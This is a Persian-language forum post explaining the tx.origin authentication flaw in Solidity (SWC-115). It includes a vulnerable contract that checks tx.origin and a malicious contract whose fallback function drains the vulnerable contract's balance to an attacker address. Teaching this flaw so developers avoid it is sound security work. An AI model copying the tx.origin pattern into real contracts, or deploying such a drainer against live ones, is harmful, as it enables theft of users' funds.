انجمن توسعه قرارداد هوشمند

آشنایی با حمله Tx.Origin در سالیدیتی

در این مقاله حمله معروف به tx.origin با کد مرجع SWC-115 بررسی شده است. با توجه به مقالات سالیدیتی، متغیر سراسری tx.origin در زبان سالیدیتی به آدرس ارسال کننده اصلی تراکنش در یک زنجیره از فراخوانی اشاره دارد. که این متفاوت با مقدار msg.sender است که آدرس ارسال کننده آخرین فراخوانی را نشان می دهد.

برای امر احراز هویت در سالیدیتی هرگز نباید از tx.origin استفاده کرد. قرارداد هوشمند زیر دلیل این امر را نشان می دهد.

pragma solidity >0.5.0;
// Example Tx.Origin Authentication Attack
 
contract VulnerableContract {
    address payable owner = msg.sender;
     
    function withdraw(address payable _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(address(this).balance);
    }
     
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
     
    function() external payable {}
}
 
contract MaliciousContract {
    VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB);
    address payable attackerAddress = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148;
     
    function() external payable {
        vulnerableContract.withdraw(attackerAddress);
    }
}

در این قرارداد، اگر قرارداد آسیب پذیر فریب داده شود و قرارداد آلوده را بخواند، قرارداد آلوده می تواند تمام سرمایه های موجود در قرارداد آسیب پذیر را تخلیه کند.

لینک های مرتبط

3 Likes